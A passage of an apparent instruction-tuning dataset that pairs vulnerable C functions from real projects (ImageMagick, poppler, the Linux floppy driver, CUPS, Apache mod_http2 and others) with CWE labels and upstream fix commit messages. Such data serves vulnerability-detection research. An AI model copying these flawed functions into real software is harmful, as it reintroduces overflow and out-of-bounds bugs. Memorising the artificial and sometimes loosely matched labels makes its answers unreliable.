NULL)\n offset+=WriteBlob(image,GetStringInfoLength(profile),\n GetStringInfoDatum(profile));\n while (offset < (MagickOffsetType) dpx.image.image_element[0].data_offset)\n {\n count=WriteBlobByte(image,0x00);\n if (count != 1)\n {\n ThrowFileException(&image->exception,FileOpenError,\"UnableToWriteFile\",\n image->filename);\n break;\n }\n offset+=count;\n }\n /*\n Convert pixel packets to DPX raster image.\n */\n quantum_info=AcquireQuantumInfo(image_info,image);\n SetQuantumQuantum(quantum_info,32);\n SetQuantumPack(quantum_info,dpx.image.image_element[0].packing == 0 ?\n MagickTrue : MagickFalse);\n quantum_type=RGBQuantum;\n if (image->matte != MagickFalse)\n quantum_type=RGBAQuantum;\n if (image->colorspace == YCbCrColorspace)\n {\n quantum_type=CbYCrQuantum;\n if (image->matte != MagickFalse)\n quantum_type=CbYCrAQuantum;\n if ((horizontal_factor == 2) || (vertical_factor == 2))\n quantum_type=CbYCrYQuantum;\n }\n extent=GetBytesPerRow(image->columns,image->matte != MagickFalse ? 4UL : 3UL,\n image->depth,dpx.image.image_element[0].packing == 0 ? MagickFalse :\n MagickTrue);\n if ((image_info->type != TrueColorType) && (image->matte == MagickFalse) &&\n (SetImageGray(image,&image->exception) != MagickFalse))\n {\n quantum_type=GrayQuantum;\n extent=GetBytesPerRow(image->columns,1UL,image->depth,\n dpx.image.image_element[0].packing == 0 ? MagickFalse : MagickTrue);\n }\n pixels=GetQuantumPixels(quantum_info);\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n size_t\n length;\n\n p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception);\n if (p == (const PixelPacket *) NULL)\n break;\n length=ExportQuantumPixels(image,(const CacheView *) NULL,quantum_info,\n quantum_type,pixels,&image->exception);\n count=WriteBlob(image,extent,pixels);\n if (count != (ssize_t) length)\n break;\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n quantum_info=DestroyQuantumInfo(quantum_info);\n if (y < (ssize_t) image->rows)\n ThrowWriterException(CorruptImageError,\"UnableToWriteImageData\");\n (void) CloseBlob(image);\n return(status);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1517'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void JPXStream::init()\n{\n Object oLen, cspace, smaskInData;\n if (getDict()) {\n oLen = getDict()->lookup(\"Length\");\n cspace = getDict()->lookup(\"ColorSpace\");\n smaskInData = getDict()->lookup(\"SMaskInData\");\n }\n\n int bufSize = BUFFER_INITIAL_SIZE;\n if (oLen.isInt()) bufSize = oLen.getInt();\n\n bool indexed = false;\n if (cspace.isArray() && cspace.arrayGetLength() > 0) {\n const Object cstype = cspace.arrayGet(0);\n if (cstype.isName(\"Indexed\")) indexed = true;\n }\n\n priv->smaskInData = 0;\n if (smaskInData.isInt()) priv->smaskInData = smaskInData.getInt();\n\n int length = 0;\n unsigned char *buf = str->toUnsignedChars(&length, bufSize);\n priv->init2(OPJ_CODEC_JP2, buf, length, indexed);\n gfree(buf);\n\n if (priv->image) {\n int numComps = (priv->image) ? priv->image->numcomps : 1;\n int alpha = 0;\n if (priv->image) {\n if (priv->image->color_space == OPJ_CLRSPC_SRGB && numComps == 4) { numComps = 3; alpha = 1; }\n else if (priv->image->color_space == OPJ_CLRSPC_SYCC && numComps == 4) { numComps = 3; alpha = 1; }\n else if (numComps == 2) { numComps = 1; alpha = 1; }\n else if (numComps > 4) { numComps = 4; alpha = 1; }\n else { alpha = 0; }\n }\n priv->npixels = priv->image->comps[0].w * priv->image->comps[0].h;\n priv->ncomps = priv->image->numcomps;\n if (alpha == 1 && priv->smaskInData == 0) priv->ncomps--;\n for (int component = 0; component < priv->ncomps; component++) {\n if (priv->image->comps[component].data == nullptr) {\n close();\n break;\n }\n const int componentPixels = priv->image->comps[component].w * priv->image->comps[component].h;\n if (componentPixels != priv->npixels) {\n error(errSyntaxWarning, -1, \"Component {0:d} has different WxH than component 0\", component);\n close();\n break;\n }\n unsigned char *cdata = (unsigned char *)priv->image->comps[component].data;\n int adjust = 0;\n int depth = priv->image->comps[component].prec;\n if (priv->image->comps[component].prec > 8)\n\tadjust = priv->image->comps[component].prec - 8;\n int sgndcorr = 0;\n if (priv->image->comps[component].sgnd)\n\tsgndcorr = 1 << (priv->image->comps[0].prec - 1);\n for (int i = 0; i < priv->npixels; i++) {\n\tint r = priv->image->comps[component].data[i];\n\t*(cdata++) = adjustComp(r, adjust, depth, sgndcorr, indexed);\n }\n }\n } else {\n priv->npixels = 0;\n }\n\n priv->counter = 0;\n priv->ccounter = 0;\n priv->inited = true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'JPXStream::init: ignore dict Length if clearly broken\n\nFixes issue #805'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int set_geometry(unsigned int cmd, struct floppy_struct *g,\n\t\t\t int drive, int type, struct block_device *bdev)\n{\n\tint cnt;\n\n\t/* sanity checking for parameters. */\n\tif (g->sect <= 0 ||\n\t g->head <= 0 ||\n\t /* check for zero in F_SECT_PER_TRACK */\n\t (unsigned char)((g->sect << 2) >> FD_SIZECODE(g)) == 0 ||\n\t g->track <= 0 || g->track > UDP->tracks >> STRETCH(g) ||\n\t /* check if reserved bits are set */\n\t (g->stretch & ~(FD_STRETCH | FD_SWAPSIDES | FD_SECTBASEMASK)) != 0)\n\t\treturn -EINVAL;\n\tif (type) {\n\t\tif (!capable(CAP_SYS_ADMIN))\n\t\t\treturn -EPERM;\n\t\tmutex_lock(&open_lock);\n\t\tif (lock_fdc(drive)) {\n\t\t\tmutex_unlock(&open_lock);\n\t\t\treturn -EINTR;\n\t\t}\n\t\tfloppy_type[type] = *g;\n\t\tfloppy_type[type].name = \"user format\";\n\t\tfor (cnt = type << 2; cnt < (type << 2) + 4; cnt++)\n\t\t\tfloppy_sizes[cnt] = floppy_sizes[cnt + 0x80] =\n\t\t\t floppy_type[type].size + 1;\n\t\tprocess_fd_request();\n\t\tfor (cnt = 0; cnt < N_DRIVE; cnt++) {\n\t\t\tstruct block_device *bdev = opened_bdev[cnt];\n\t\t\tif (!bdev || ITYPE(drive_state[cnt].fd_device) != type)\n\t\t\t\tcontinue;\n\t\t\t__invalidate_device(bdev, true);\n\t\t}\n\t\tmutex_unlock(&open_lock);\n\t} else {\n\t\tint oldStretch;\n\n\t\tif (lock_fdc(drive))\n\t\t\treturn -EINTR;\n\t\tif (cmd != FDDEFPRM) {\n\t\t\t/* notice a disk change immediately, else\n\t\t\t * we lose our settings immediately*/\n\t\t\tif (poll_drive(true, FD_RAW_NEED_DISK) == -EINTR)\n\t\t\t\treturn -EINTR;\n\t\t}\n\t\toldStretch = g->stretch;\n\t\tuser_params[drive] = *g;\n\t\tif (buffer_drive == drive)\n\t\t\tSUPBOUND(buffer_max, user_params[drive].sect);\n\t\tcurrent_type[drive] = &user_params[drive];\n\t\tfloppy_sizes[drive] = user_params[drive].size;\n\t\tif (cmd == FDDEFPRM)\n\t\t\tDRS->keep_data = -1;\n\t\telse\n\t\t\tDRS->keep_data = 1;\n\t\t/* invalidation. Invalidate only when needed, i.e.\n\t\t * when there are already sectors in the buffer cache\n\t\t * whose number will change. This is useful, because\n\t\t * mtools often changes the geometry of the disk after\n\t\t * looking at the boot block */\n\t\tif (DRS->maxblock > user_params[drive].sect ||\n\t\t DRS->maxtrack ||\n\t\t ((user_params[drive].sect ^ oldStretch) &\n\t\t (FD_SWAPSIDES | FD_SECTBASEMASK)))\n\t\t\tinvalidate_drive(bdev);\n\t\telse\n\t\t\tprocess_fd_request();\n\t}\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-125'], 'message': 'floppy: fix out-of-bounds read in copy_buffer\n\nThis fixes a global out-of-bounds read access in the copy_buffer\nfunction of the floppy driver.\n\nThe FDDEFPRM ioctl allows one to set the geometry of a disk. The sect\nand head fields (unsigned int) of the floppy_drive structure are used to\ncompute the max_sector (int) in the make_raw_rw_request function. It is\npossible to overflow the max_sector. Next, max_sector is passed to the\ncopy_buffer function and used in one of the memcpy calls.\n\nAn unprivileged user could trigger the bug if the device is accessible,\nbut requires a floppy disk to be inserted.\n\nThe patch adds the check for the .sect * .head multiplication for not\noverflowing in the set_geometry function.\n\nThe bug was found by syzkaller.\n\nSigned-off-by: Denis Efremov \nTested-by: Willy Tarreau \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void Process_ipfix_template_withdraw(exporter_ipfix_domain_t *exporter, void *DataPtr, uint32_t size_left, FlowSource_t *fs) {\nipfix_template_record_t *ipfix_template_record;\n\n\t// a template flowset can contain multiple records ( templates )\n\twhile ( size_left ) {\n\t\tuint32_t id;\n\n\t\t// map next record.\n\t\tipfix_template_record = (ipfix_template_record_t *)DataPtr;\n\t\tsize_left \t\t-= 4;\n\n\t\tid \t = ntohs(ipfix_template_record->TemplateID);\n\t\t// count = ntohs(ipfix_template_record->FieldCount);\n\n\t\tif ( id == IPFIX_TEMPLATE_FLOWSET_ID ) {\n\t\t\t// withdraw all templates\n\t\t\tremove_all_translation_tables(exporter);\n\t\t\tReInitExtensionMapList(fs);\n\t\t} else {\n\t\t\tremove_translation_table(fs, exporter, id);\n\t\t}\n\n\t\tDataPtr = DataPtr + 4;\n\t\tif ( size_left < 4 ) {\n\t\t\t// pading\n\t\t\tdbg_printf(\"Skip %u bytes padding\\n\", size_left);\n\t\t\tsize_left = 0;\n\t\t}\n\t}\n \n} // End of Process_ipfix_template_withdraw ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix potential unsigned integer underflow'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: asn1_get_oid(\n unsigned char **buffer,\t\t/* IO - Pointer in buffer */\n unsigned char *bufend,\t\t/* I - End of buffer */\n unsigned length,\t\t/* I - Length of value */\n int *oid,\t\t\t/* I - OID buffer */\n int oidsize)\t\t/* I - Size of OID buffer */\n{\n unsigned char\t*valend;\t\t/* End of value */\n int\t\t*oidptr,\t\t/* Current OID */\n\t\t*oidend;\t\t/* End of OID buffer */\n int\t\tnumber;\t\t\t/* OID number */\n\n\n valend = *buffer + length;\n oidptr = oid;\n oidend = oid + oidsize - 1;\n\n if (valend > bufend)\n valend = bufend;\n\n number = asn1_get_packed(buffer, bufend);\n\n if (number < 80)\n {\n *oidptr++ = number / 40;\n number = number % 40;\n *oidptr++ = number;\n }\n else\n {\n *oidptr++ = 2;\n number -= 80;\n *oidptr++ = number;\n }\n\n while (*buffer < valend)\n {\n number = asn1_get_packed(buffer, bufend);\n\n if (oidptr < oidend)\n *oidptr++ = number;\n }\n\n *oidptr = -1;\n\n return ((int)(oidptr - oid));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120'], 'message': 'Fix multiple security/disclosure issues:\n\n- CVE-2019-8696 and CVE-2019-8675: Fixed SNMP buffer overflows (rdar://51685251)\n- Fixed IPP buffer overflow (rdar://50035411)\n- Fixed memory disclosure issue in the scheduler (rdar://51373853)\n- Fixed DoS issues in the scheduler (rdar://51373929)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int serdes_probe(struct platform_device *pdev)\n{\n\tstruct phy_provider *provider;\n\tstruct serdes_ctrl *ctrl;\n\tunsigned int i;\n\tint ret;\n\n\tctrl = devm_kzalloc(&pdev->dev, sizeof(*ctrl), GFP_KERNEL);\n\tif (!ctrl)\n\t\treturn -ENOMEM;\n\n\tctrl->dev = &pdev->dev;\n\tctrl->regs = syscon_node_to_regmap(pdev->dev.parent->of_node);\n\tif (IS_ERR(ctrl->regs))\n\t\treturn PTR_ERR(ctrl->regs);\n\n\tfor (i = 0; i <= SERDES_MAX; i++) {\n\t\tret = serdes_phy_create(ctrl, i, &ctrl->phys[i]);\n\t\tif (ret)\n\t\t\treturn ret;\n\t}\n\n\tdev_set_drvdata(&pdev->dev, ctrl);\n\n\tprovider = devm_of_phy_provider_register(ctrl->dev,\n\t\t\t\t\t\t serdes_simple_xlate);\n\n\treturn PTR_ERR_OR_ZERO(provider);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'phy: ocelot-serdes: fix out-of-bounds read\n\nCurrently, there is an out-of-bounds read on array ctrl->phys,\nonce variable i reaches the maximum array size of SERDES_MAX\nin the for loop.\n\nFix this by changing the condition in the for loop from\ni <= SERDES_MAX to i < SERDES_MAX.\n\nAddresses-Coverity-ID: 1473966 (\"Out-of-bounds read\")\nAddresses-Coverity-ID: 1473959 (\"Out-of-bounds read\")\nFixes: 51f6b410fc22 (\"phy: add driver for Microsemi Ocelot SerDes muxing\")\nReviewed-by: Quentin Schulz \nSigned-off-by: Gustavo A. R. Silva \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: apr_status_t h2_session_process(h2_session *session, int async)\n{\n apr_status_t status = APR_SUCCESS;\n conn_rec *c = session->c;\n int rv, mpm_state, trace = APLOGctrace3(c);\n apr_time_t now;\n \n if (trace) {\n ap_log_cerror( APLOG_MARK, APLOG_TRACE3, status, c,\n H2_SSSN_MSG(session, \"process start, async=%d\"), async);\n }\n \n while (session->state != H2_SESSION_ST_DONE) {\n now = apr_time_now();\n session->have_read = session->have_written = 0;\n\n if (session->local.accepting \n && !ap_mpm_query(AP_MPMQ_MPM_STATE, &mpm_state)) {\n if (mpm_state == AP_MPMQ_STOPPING) {\n dispatch_event(session, H2_SESSION_EV_MPM_STOPPING, 0, NULL);\n }\n }\n \n session->status[0] = '\\0';\n \n switch (session->state) {\n case H2_SESSION_ST_INIT:\n ap_update_child_status_from_conn(c->sbh, SERVER_BUSY_READ, c);\n if (!h2_is_acceptable_connection(c, session->r, 1)) {\n update_child_status(session, SERVER_BUSY_READ, \n \"inadequate security\");\n h2_session_shutdown(session, \n NGHTTP2_INADEQUATE_SECURITY, NULL, 1);\n } \n else {\n update_child_status(session, SERVER_BUSY_READ, \"init\");\n status = h2_session_start(session, &rv);\n ap_log_cerror(APLOG_MARK, APLOG_DEBUG, status, c, \n H2_SSSN_LOG(APLOGNO(03079), session, \n \"started on %s:%d\"), \n session->s->server_hostname,\n c->local_addr->port);\n if (status != APR_SUCCESS) {\n dispatch_event(session, \n H2_SESSION_EV_CONN_ERROR, 0, NULL);\n }\n dispatch_event(session, H2_SESSION_EV_INIT, 0, NULL);\n }\n break;\n \n case H2_SESSION_ST_IDLE:\n if (session->idle_until && (apr_time_now() + session->idle_delay) > session->idle_until) {\n ap_log_cerror( APLOG_MARK, APLOG_TRACE1, status, c,\n H2_SSSN_MSG(session, \"idle, timeout reached, closing\"));\n if (session->idle_delay) {\n apr_table_setn(session->c->notes, \"short-lingering-close\", \"1\"); \n }\n dispatch_event(session, H2_SESSION_EV_CONN_TIMEOUT, 0, \"timeout\");\n goto out;\n }\n \n if (session->idle_delay) {\n /* we are less interested in spending time on this connection */\n ap_log_cerror( APLOG_MARK, APLOG_TRACE2, status, c,\n H2_SSSN_MSG(session, \"session is idle (%ld ms), idle wait %ld sec left\"), \n (long)apr_time_as_msec(session->idle_delay),\n (long)apr_time_sec(session->idle_until - now));\n apr_sleep(session->idle_delay);\n session->idle_delay = 0;\n }\n\n h2_conn_io_flush(&session->io);\n if (async && !session->r && (now > session->idle_sync_until)) {\n if (trace) {\n ap_log_cerror(APLOG_MARK, APLOG_TRACE3, status, c,\n H2_SSSN_MSG(session, \n \"nonblock read, %d streams open\"), \n session->open_streams);\n }\n status = h2_session_read(session, 0);\n \n if (status == APR_SUCCESS) {\n session->have_read = 1;\n }\n else if (APR_STATUS_IS_EAGAIN(status) || APR_STATUS_IS_TIMEUP(status)) {\n status = APR_EAGAIN;\n goto out;\n }\n else {\n ap_log_cerror(APLOG_MARK, APLOG_DEBUG, status, c,\n H2_SSSN_LOG(APLOGNO(03403), session, \n \"no data, error\"));\n dispatch_event(session, \n H2_SESSION_EV_CONN_ERROR, 0, \"timeout\");\n }\n }\n else {\n /* make certain, we send everything before we idle */\n if (trace) {\n ap_log_cerror(APLOG_MARK, APLOG_TRACE3, status, c,\n H2_SSSN_MSG(session, \n \"sync, stutter 1-sec, %d streams open\"), \n session->open_streams);\n }\n /* We wait in smaller increments, using a 1 second timeout.\n * That gives us the chance to check for MPMQ_STOPPING often. \n */\n status = h2_mplx_idle(session->mplx);\n if (status == APR_EAGAIN) {\n break;\n }\n else if (status != APR_SUCCESS) {\n dispatch_event(session, H2_SESSION_EV_CONN_ERROR, \n H2_ERR_ENHANCE_YOUR_CALM, \"less is more\");\n }\n h2_filter_cin_timeout_set(session->cin, apr_time_from_sec(1));\n status = h2_session_read(session, 1);\n if (status == APR_SUCCESS) {\n session->have_read = 1;\n }\n else if (status == APR_EAGAIN) {\n /* nothing to read */\n }\n else if (APR_STATUS_IS_TIMEUP(status)) {\n /* continue reading handling */\n }\n else if (APR_STATUS_IS_ECONNABORTED(status)\n || APR_STATUS_IS_ECONNRESET(status)\n || APR_STATUS_IS_EOF(status)\n || APR_STATUS_IS_EBADF(status)) {\n ap_log_cerror( APLOG_MARK, APLOG_TRACE3, status, c,\n H2_SSSN_MSG(session, \"input gone\"));\n dispatch_event(session, H2_SESSION_EV_CONN_ERROR, 0, NULL);\n }\n else {\n ap_log_cerror( APLOG_MARK, APLOG_TRACE3, status, c,\n H2_SSSN_MSG(session, \n \"(1 sec timeout) read failed\"));\n dispatch_event(session, H2_SESSION_EV_CONN_ERROR, 0, \"error\");\n }\n }\n if (nghttp2_session_want_write(session->ngh2)) {\n ap_update_child_status(session->c->sbh, SERVER_BUSY_WRITE, NULL);\n status = h2_session_send(session);\n if (status == APR_SUCCESS) {\n status = h2_conn_io_flush(&session->io);\n }\n if (status != APR_SUCCESS) {\n dispatch_event(session, H2_SESSION_EV_CONN_ERROR, \n H2_ERR_INTERNAL_ERROR, \"writing\");\n break;\n }\n }\n break;\n \n case H2_SESSION_ST_BUSY:\n if (nghttp2_session_want_read(session->ngh2)) {\n ap_update_child_status(session->c->sbh, SERVER_BUSY_READ, NULL);\n h2_filter_cin_timeout_set(session->cin, session->s->timeout);\n status = h2_session_read(session, 0);\n if (status == APR_SUCCESS) {\n session->have_read = 1;\n }\n else if (status == APR_EAGAIN) {\n /* nothing to read */\n }\n else if (APR_STATUS_IS_TIMEUP(status)) {\n dispatch_event(session, H2_SESSION_EV_CONN_TIMEOUT, 0, NULL);\n break;\n }\n else {\n dispatch_event(session, H2_SESSION_EV_CONN_ERROR, 0, NULL);\n }\n }\n\n status = dispatch_master(session);\n if (status != APR_SUCCESS && status != APR_EAGAIN) {\n break;\n }\n \n if (nghttp2_session_want_write(session->ngh2)) {\n ap_update_child_status(session->c->sbh, SERVER_BUSY_WRITE, NULL);\n status = h2_session_send(session);\n if (status == APR_SUCCESS) {\n status = h2_conn_io_flush(&session->io);\n }\n if (status != APR_SUCCESS) {\n dispatch_event(session, H2_SESSION_EV_CONN_ERROR, \n H2_ERR_INTERNAL_ERROR, \"writing\");\n break;\n }\n }\n \n if (session->have_read || session->have_written) {\n if (session->wait_us) {\n session->wait_us = 0;\n }\n }\n else if (!nghttp2_session_want_write(session->ngh2)) {\n dispatch_event(session, H2_SESSION_EV_NO_IO, 0, NULL);\n }\n break;\n \n case H2_SESSION_ST_WAIT:\n if (session->wait_us <= 0) {\n session->wait_us = 10;\n if (h2_conn_io_flush(&session->io) != APR_SUCCESS) {\n dispatch_event(session, H2_SESSION_EV_CONN_ERROR, 0, NULL);\n break;\n }\n }\n else {\n /* repeating, increase timer for graceful backoff */\n session->wait_us = H2MIN(session->wait_us*2, MAX_WAIT_MICROS);\n }\n\n if (trace) {\n ap_log_cerror(APLOG_MARK, APLOG_TRACE3, 0, c,\n \"h2_session: wait for data, %ld micros\", \n (long)session->wait_us);\n }\n status = h2_mplx_out_trywait(session->mplx, session->wait_us, \n session->iowait);\n if (status == APR_SUCCESS) {\n session->wait_us = 0;\n dispatch_event(session, H2_SESSION_EV_STREAM_CHANGE, 0, NULL);\n }\n else if (APR_STATUS_IS_TIMEUP(status)) {\n /* go back to checking all inputs again */\n transit(session, \"wait cycle\", session->local.shutdown? \n H2_SESSION_ST_DONE : H2_SESSION_ST_BUSY);\n }\n else if (APR_STATUS_IS_ECONNRESET(status) \n || APR_STATUS_IS_ECONNABORTED(status)) {\n dispatch_event(session, H2_SESSION_EV_CONN_ERROR, 0, NULL);\n }\n else {\n ap_log_cerror(APLOG_MARK, APLOG_WARNING, status, c,\n H2_SSSN_LOG(APLOGNO(03404), session, \n \"waiting on conditional\"));\n h2_session_shutdown(session, H2_ERR_INTERNAL_ERROR, \n \"cond wait error\", 0);\n }\n break;\n \n default:\n ap_log_cerror(APLOG_MARK, APLOG_ERR, APR_EGENERAL, c,\n H2_SSSN_LOG(APLOGNO(03080), session, \n \"unknown state\"));\n dispatch_event(session, H2_SESSION_EV_PROTO_ERROR, 0, NULL);\n break;\n }\n\n if (!nghttp2_session_want_read(session->ngh2) \n && !nghttp2_session_want_write(session->ngh2)) {\n dispatch_event(session, H2_SESSION_EV_NGH2_DONE, 0, NULL); \n }\n if (session->reprioritize) {\n h2_mplx_reprioritize(session->mplx, stream_pri_cmp, session);\n session->reprioritize = 0;\n }\n }\n \nout:\n if (trace) {\n ap_log_cerror( APLOG_MARK, APLOG_TRACE3, status, c,\n H2_SSSN_MSG(session, \"process returns\")); \n }\n \n if ((session->state != H2_SESSION_ST_DONE)\n && (APR_STATUS_IS_EOF(status)\n || APR_STATUS_IS_ECONNRESET(status) \n || APR_STATUS_IS_ECONNABORTED(status))) {\n dispatch_event(session, H2_SESSION_EV_CONN_ERROR, 0, NULL);\n }\n\n return (session->state == H2_SESSION_ST_DONE)? APR_EOF : APR_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-770'], 'message': '* fixes Timeout vs. KeepAliveTimeout behaviour, see PR 63534 (for trunk now,\n mpm event backport to 2.4.x up for vote).\n * Fixes stream cleanup when connection throttling is in place.\n * Counts stream resets by client on streams initiated by client as cause\n for connection throttling.\n * Header length checks are now logged similar to HTTP/1.1 protocol handler (thanks @mkaufmann)\n * Header length is checked also on the merged value from several header instances\n and results in a 431 response.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: apr_status_t h2_task_do(h2_task *task, apr_thread_t *thread, int worker_id)\n{\n conn_rec *c;\n \n ap_assert(task);\n c = task->c;\n task->worker_started = 1;\n task->started_at = apr_time_now();\n \n if (c->master) {\n /* Each conn_rec->id is supposed to be unique at a point in time. Since\n * some modules (and maybe external code) uses this id as an identifier\n * for the request_rec they handle, it needs to be unique for slave \n * connections also.\n * The connection id is generated by the MPM and most MPMs use the formula\n * id := (child_num * max_threads) + thread_num\n * which means that there is a maximum id of about\n * idmax := max_child_count * max_threads\n * If we assume 2024 child processes with 2048 threads max, we get\n * idmax ~= 2024 * 2048 = 2 ** 22\n * On 32 bit systems, we have not much space left, but on 64 bit systems\n * (and higher?) we can use the upper 32 bits without fear of collision.\n * 32 bits is just what we need, since a connection can only handle so\n * many streams. \n */\n int slave_id, free_bits;\n \n task->id = apr_psprintf(task->pool, \"%ld-%d\", c->master->id, \n task->stream_id);\n if (sizeof(unsigned long) >= 8) {\n free_bits = 32;\n slave_id = task->stream_id;\n }\n else {\n /* Assume we have a more limited number of threads/processes\n * and h2 workers on a 32-bit system. Use the worker instead\n * of the stream id. */\n free_bits = 8;\n slave_id = worker_id; \n }\n task->c->id = (c->master->id << free_bits)^slave_id;\n }\n \n h2_beam_create(&task->output.beam, c->pool, task->stream_id, \"output\", \n H2_BEAM_OWNER_SEND, 0, task->timeout);\n if (!task->output.beam) {\n return APR_ENOMEM;\n }\n \n h2_beam_buffer_size_set(task->output.beam, task->output.max_buffer);\n h2_beam_send_from(task->output.beam, task->pool);\n \n h2_ctx_create_for(c, task);\n apr_table_setn(c->notes, H2_TASK_ID_NOTE, task->id);\n\n h2_slave_run_pre_connection(c, ap_get_conn_socket(c)); \n\n task->input.bb = apr_brigade_create(task->pool, c->bucket_alloc);\n if (task->request->serialize) {\n ap_log_cerror(APLOG_MARK, APLOG_TRACE1, 0, c,\n \"h2_task(%s): serialize request %s %s\", \n task->id, task->request->method, task->request->path);\n apr_brigade_printf(task->input.bb, NULL, \n NULL, \"%s %s HTTP/1.1\\r\\n\", \n task->request->method, task->request->path);\n apr_table_do(input_ser_header, task, task->request->headers, NULL);\n apr_brigade_puts(task->input.bb, NULL, NULL, \"\\r\\n\");\n }\n \n ap_log_cerror(APLOG_MARK, APLOG_TRACE1, 0, c,\n \"h2_task(%s): process connection\", task->id);\n \n task->c->current_thread = thread; \n ap_run_process_connection(c);\n \n ap_log_cerror(APLOG_MARK, APLOG_TRACE1, 0, c,\n \"h2_task(%s): processing done\", task->id);\n return output_finish(task);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-770'], 'message': '* fixes Timeout vs. KeepAliveTimeout behaviour, see PR 63534 (for trunk now,\n mpm event backport to 2.4.x up for vote).\n * Fixes stream cleanup when connection throttling is in place.\n * Counts stream resets by client on streams initiated by client as cause\n for connection throttling.\n * Header length checks are now logged similar to HTTP/1.1 protocol handler (thanks @mkaufmann)\n * Header length is checked also on the merged value from several header instances\n and results in a 431 response.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void pdf_summarize(\n FILE *fp,\n const pdf_t *pdf,\n const char *name,\n pdf_flag_t flags)\n{\n int i, j, page, n_versions, n_entries;\n FILE *dst, *out;\n char *dst_name, *c;\n\n dst = NULL;\n dst_name = NULL;\n\n if (name)\n {\n dst_name = malloc(strlen(name) * 2 + 16);\n sprintf(dst_name, \"%s/%s\", name, name);\n\n if ((c = strrchr(dst_name, '.')) && (strncmp(c, \".pdf\", 4) == 0))\n *c = '\\0';\n\n strcat(dst_name, \".summary\");\n if (!(dst = fopen(dst_name, \"w\")))\n {\n ERR(\"Could not open file '%s' for writing\\n\", dst_name);\n return;\n }\n }\n \n /* Send output to file or stdout */\n out = (dst) ? dst : stdout;\n\n /* Count versions */\n n_versions = pdf->n_xrefs;\n if (n_versions && pdf->xrefs[0].is_linear)\n --n_versions;\n\n /* Ignore bad xref entry */\n for (i=1; in_xrefs; ++i)\n if (pdf->xrefs[i].end == 0)\n --n_versions;\n\n /* If we have no valid versions but linear, count that */\n if (!pdf->n_xrefs || (!n_versions && pdf->xrefs[0].is_linear))\n n_versions = 1;\n\n /* Compare each object (if we dont have xref streams) */\n n_entries = 0;\n for (i=0; !(const int)pdf->has_xref_streams && in_xrefs; i++)\n {\n if (flags & PDF_FLAG_QUIET)\n continue;\n\n for (j=0; jxrefs[i].n_entries; j++)\n {\n ++n_entries;\n fprintf(out,\n \"%s: --%c-- Version %d -- Object %d (%s)\",\n pdf->name,\n pdf_get_object_status(pdf, i, j),\n pdf->xrefs[i].version,\n pdf->xrefs[i].entries[j].obj_id,\n get_type(fp, pdf->xrefs[i].entries[j].obj_id,\n &pdf->xrefs[i]));\n\n /* TODO\n page = get_page(pdf->xrefs[i].entries[j].obj_id, &pdf->xrefs[i]);\n */\n\n if (0 /*page*/)\n fprintf(out, \" Page(%d)\\n\", page);\n else\n fprintf(out, \"\\n\");\n }\n }\n\n /* Trailing summary */\n if (!(flags & PDF_FLAG_QUIET))\n {\n /* Let the user know that we cannot we print a per-object summary.\n * If we have a 1.5 PDF using streams for xref, we have not objects\n * to display, so let the user know whats up.\n */\n if (pdf->has_xref_streams || !n_entries)\n fprintf(out,\n \"%s: This PDF contains potential cross reference streams.\\n\"\n \"%s: An object summary is not available.\\n\",\n pdf->name,\n pdf->name);\n\n fprintf(out,\n \"---------- %s ----------\\n\"\n \"Versions: %d\\n\", \n pdf->name,\n n_versions);\n\n /* Count entries for summary */\n if (!pdf->has_xref_streams)\n for (i=0; in_xrefs; i++)\n {\n if (pdf->xrefs[i].is_linear)\n continue;\n\n n_entries = pdf->xrefs[i].n_entries;\n\n /* If we are a linearized PDF, all versions are made from those\n * objects too. So count em'\n */\n if (pdf->xrefs[0].is_linear)\n n_entries += pdf->xrefs[0].n_entries; \n\n if 